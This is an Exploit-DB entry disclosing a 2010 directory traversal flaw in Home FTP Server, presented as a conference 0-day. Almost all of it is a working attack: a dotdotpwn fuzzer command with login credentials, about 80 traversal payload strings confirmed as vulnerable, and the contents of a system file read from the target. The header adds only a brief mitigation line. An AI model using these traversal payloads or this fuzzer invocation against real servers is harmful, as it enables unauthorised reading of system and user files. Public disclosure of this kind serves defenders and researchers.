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vendor:
Home FTP Server
by:
chr1x
7.5
CVSS
HIGH
Directory Traversal
22
CWE
Product Name: Home FTP Server
Affected Version From: vr1.10.3 (build 144)
Affected Version To: v r1.11.1 (build 149)
Patch Exists: NO
Related CWE:
CPE: Home FTP Server
Metasploit:
Other Scripts:
Platforms Tested: Windows XP SP3
2010

Home FTP Server Directory Traversal

The Home FTP Server software allows for directory traversal, which can be exploited by an attacker to access files outside of the intended directory structure.

Mitigation:

The vendor should release a patch or update to fix the directory traversal vulnerability. In the meantime, users can mitigate the risk by restricting access to the FTP server and monitoring for any suspicious activity.
Source

Exploit-DB raw data:

# Exploit Title: Home FTP Server Directory Traversal
# Date: Oct 28, 2010
# Author: chr1x
# Software Link: http://downstairs.dnsalias.net/files/HomeFtpServerInstall.exe
# Description: Home Ftp Server is an easy to use FTP server, that allows you to share files directly from your PC with lots of setup possibilities. You can set up user accounts, specify directory permissions and monitor access to individual files. It supports virtual directories, banned IP addresses and offers a web based administration interface that lets you add users and view current statistics.. and much more.
# Version(s): vr1.10.3 (build 144) AND v r1.11.1 (build 149) <- Yeah, two versions, same payloads! ]¬) 
# Tested on: Windows XP SP3 (Spanish Edition)


****************************************************************************************************************************
*************************    As 0-day exclusively for the BugCon 2010 Security Conferences!   ******************************
*************************                     http://www.bugcon.org                           ******************************
****************************************************************************************************************************

<start of dotdotpwning the machinehz>

root@voltron:/dotdotpwn-v2.1# perl dotdotpwn.pl -h XXX.XXX.X.XX -m ftp -U abc123 -P abc123 -t 25 -f boot.ini -q
#################################################################################
#                                                                               #
#  CubilFelino                                                       Chatsubo   #
#  Security Research Lab              and            [(in)Security Dark] Labs   #
#  chr1x.sectester.net                             chatsubo-labs.blogspot.com   #
#                                                                               #
#                               pr0udly present:                                #
#                                                                               #
#  ________            __  ________            __  __________                   #
#  \______ \    ____ _/  |_\______ \    ____ _/  |_\______   \__  _  __ ____    #
#   |    |  \  /  _ \\   __\|    |  \  /  _ \\   __\|     ___/\ \/ \/ //    \   #
#   |    `   \(  <_> )|  |  |    `   \(  <_> )|  |  |    |     \     /|   |  \  #
#  /_______  / \____/ |__| /_______  / \____/ |__|  |____|      \/\_/ |___|  /  #
#          \/                      \/                                      \/   #
#                               - DotDotPwn v2.1 -                              #
#                         The Traversal Directory Fuzzer                        #
#                         http://dotdotpwn.sectester.net                        #
#                            dotdotpwn@sectester.net                            #
#                                                                               #
#                              by chr1x & nitr0us                               #
#################################################################################


[========== TARGET INFORMATION ==========]
[+] Hostname: XXX.XXX.X.XX
[+] Protocol: ftp
[+] Port: 21

[=========== TRAVERSAL ENGINE ===========]
[+] Creating Traversal patterns (mix of dots and slashes)
[+] Permuting 6 times the traversal patterns (-d switch)
[+] Creating the Special Traversal patterns
[+] Translating (back)slashes in the filenames
[+] Appending 'boot.ini' to the Traversal Strings
[+] Including Special sufixes
[+] Traversal Engine DONE ! - Total traversal tests created: 1164

[=========== TESTING RESULTS ============]
[+] Ready to launch 40.00 traversals per second
[+] Press any key to start the testing (You can stop it pressing Ctrl + C)

[+] Username: abc123
[+] Password: abc123
[+] Connecting to the FTP server at 'XXX.XXX.X.XX' on port 21
[+] FTP Server's Current Path: /
[+] Local Path to download files: /dotdotpwn-v2.1/retrieved_files
[+] Press any key to continue

[+] Testing ...
.
[*] GET ../../../boot.ini <- VULNERABLE!

[*] GET ../../../../boot.ini <- VULNERABLE!

[*] GET ../../../../../boot.ini <- VULNERABLE!

[*] GET ../../../../../../boot.ini <- VULNERABLE!

[*] GET ..\..\..\boot.ini <- VULNERABLE!

[*] GET ..\..\..\..\boot.ini <- VULNERABLE!

[*] GET ..\..\..\..\..\boot.ini <- VULNERABLE!

[*] GET ..\..\..\..\..\..\boot.ini <- VULNERABLE!
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
[*] GET ..//..//..//boot.ini <- VULNERABLE!

[*] GET ..//..//..//..//boot.ini <- VULNERABLE!

[*] GET ..//..//..//..//..//boot.ini <- VULNERABLE!

[*] GET ..//..//..//..//..//..//boot.ini <- VULNERABLE!

[*] GET ..///..///..///boot.ini <- VULNERABLE!

[*] GET ..///..///..///..///boot.ini <- VULNERABLE!

[*] GET ..///..///..///..///..///boot.ini <- VULNERABLE!

[*] GET ..///..///..///..///..///..///boot.ini <- VULNERABLE!

[*] GET ..\\..\\..\\boot.ini <- VULNERABLE!

[*] GET ..\\..\\..\\..\\boot.ini <- VULNERABLE!

[*] GET ..\\..\\..\\..\\..\\boot.ini <- VULNERABLE!

[*] GET ..\\..\\..\\..\\..\\..\\boot.ini <- VULNERABLE!

[*] GET ..\\\..\\\..\\\boot.ini <- VULNERABLE!

[*] GET ..\\\..\\\..\\\..\\\boot.ini <- VULNERABLE!

[*] GET ..\\\..\\\..\\\..\\\..\\\boot.ini <- VULNERABLE!

[*] GET ..\\\..\\\..\\\..\\\..\\\..\\\boot.ini <- VULNERABLE!
.
[*] GET ../\../\../\boot.ini <- VULNERABLE!

[*] GET ../\../\../\../\boot.ini <- VULNERABLE!

[*] GET ../\../\../\../\../\boot.ini <- VULNERABLE!

[*] GET ../\../\../\../\../\../\boot.ini <- VULNERABLE!

[*] GET ..\/..\/..\/boot.ini <- VULNERABLE!

[*] GET ..\/..\/..\/..\/boot.ini <- VULNERABLE!

[*] GET ..\/..\/..\/..\/..\/boot.ini <- VULNERABLE!

[*] GET ..\/..\/..\/..\/..\/..\/boot.ini <- VULNERABLE!

[*] GET ../\/../\/../\/boot.ini <- VULNERABLE!

[*] GET ../\/../\/../\/../\/boot.ini <- VULNERABLE!

[*] GET ../\/../\/../\/../\/../\/boot.ini <- VULNERABLE!

[*] GET ../\/../\/../\/../\/../\/../\/boot.ini <- VULNERABLE!

[*] GET ..\/\..\/\..\/\boot.ini <- VULNERABLE!

[*] GET ..\/\..\/\..\/\..\/\boot.ini <- VULNERABLE!

[*] GET ..\/\..\/\..\/\..\/\..\/\boot.ini <- VULNERABLE!

[*] GET ..\/\..\/\..\/\..\/\..\/\..\/\boot.ini <- VULNERABLE!

[*] GET \../\../\../boot.ini <- VULNERABLE!

[*] GET \../\../\../\../boot.ini <- VULNERABLE!

[*] GET \../\../\../\../\../boot.ini <- VULNERABLE!

[*] GET \../\../\../\../\../\../boot.ini <- VULNERABLE!
.
[*] GET /..\/..\/..\boot.ini <- VULNERABLE!

[*] GET /..\/..\/..\/..\boot.ini <- VULNERABLE!

[*] GET /..\/..\/..\/..\/..\boot.ini <- VULNERABLE!

[*] GET /..\/..\/..\/..\/..\/..\boot.ini <- VULNERABLE!
.
[*] GET ./.././.././../boot.ini <- VULNERABLE!

[*] GET ./.././.././.././../boot.ini <- VULNERABLE!

[*] GET ./.././.././.././.././../boot.ini <- VULNERABLE!

[*] GET ./.././.././.././.././.././../boot.ini <- VULNERABLE!

[*] GET .\..\.\..\.\..\boot.ini <- VULNERABLE!

[*] GET .\..\.\..\.\..\.\..\boot.ini <- VULNERABLE!

[*] GET .\..\.\..\.\..\.\..\.\..\boot.ini <- VULNERABLE!

[*] GET .\..\.\..\.\..\.\..\.\..\.\..\boot.ini <- VULNERABLE!

[*] GET .//..//.//..//.//..//boot.ini <- VULNERABLE!

[*] GET .//..//.//..//.//..//.//..//boot.ini <- VULNERABLE!

[*] GET .//..//.//..//.//..//.//..//.//..//boot.ini <- VULNERABLE!

[*] GET .//..//.//..//.//..//.//..//.//..//.//..//boot.ini <- VULNERABLE!
.
[*] GET .\\..\\.\\..\\.\\..\\boot.ini <- VULNERABLE!

[*] GET .\\..\\.\\..\\.\\..\\.\\..\\boot.ini <- VULNERABLE!

[*] GET .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\boot.ini <- VULNERABLE!

[*] GET .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\boot.ini <- VULNERABLE!
. . . . .
[*] GET ///../../../boot.ini <- VULNERABLE!

[*] GET ///../../../../boot.ini <- VULNERABLE!

[*] GET ///../../../../../boot.ini <- VULNERABLE!

[*] GET ///../../../../../../boot.ini <- VULNERABLE!

[*] GET ///..\..\..\boot.ini <- VULNERABLE!

[*] GET ///..\..\..\..\boot.ini <- VULNERABLE!

[*] GET ///..\..\..\..\..\boot.ini <- VULNERABLE!

[*] GET ///..\..\..\..\..\..\boot.ini <- VULNERABLE!

[*] GET \\\../../../boot.ini <- VULNERABLE!

[*] GET \\\../../../../boot.ini <- VULNERABLE!

[*] GET \\\../../../../../boot.ini <- VULNERABLE!

[*] GET \\\../../../../../../boot.ini <- VULNERABLE!

[*] GET \\\..\..\..\boot.ini <- VULNERABLE!

[*] GET \\\..\..\..\..\boot.ini <- VULNERABLE!

[*] GET \\\..\..\..\..\..\boot.ini <- VULNERABLE!

[*] GET \\\..\..\..\..\..\..\boot.ini <- VULNERABLE!
. . . .
[+] Fuzz testing finished after 0.65 minutes (39 seconds)
[+] Total Traversals found: 80 <<------------------------------Yeah! thiz zhit w0rkz kiTtehz! xDD
root@voltron:/dotdotpwn-v2.1# cat retrieved_files/boot.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
root@voltron:/dotdotpwn-v2.1#

</end of dotdotpwning the machinehz>


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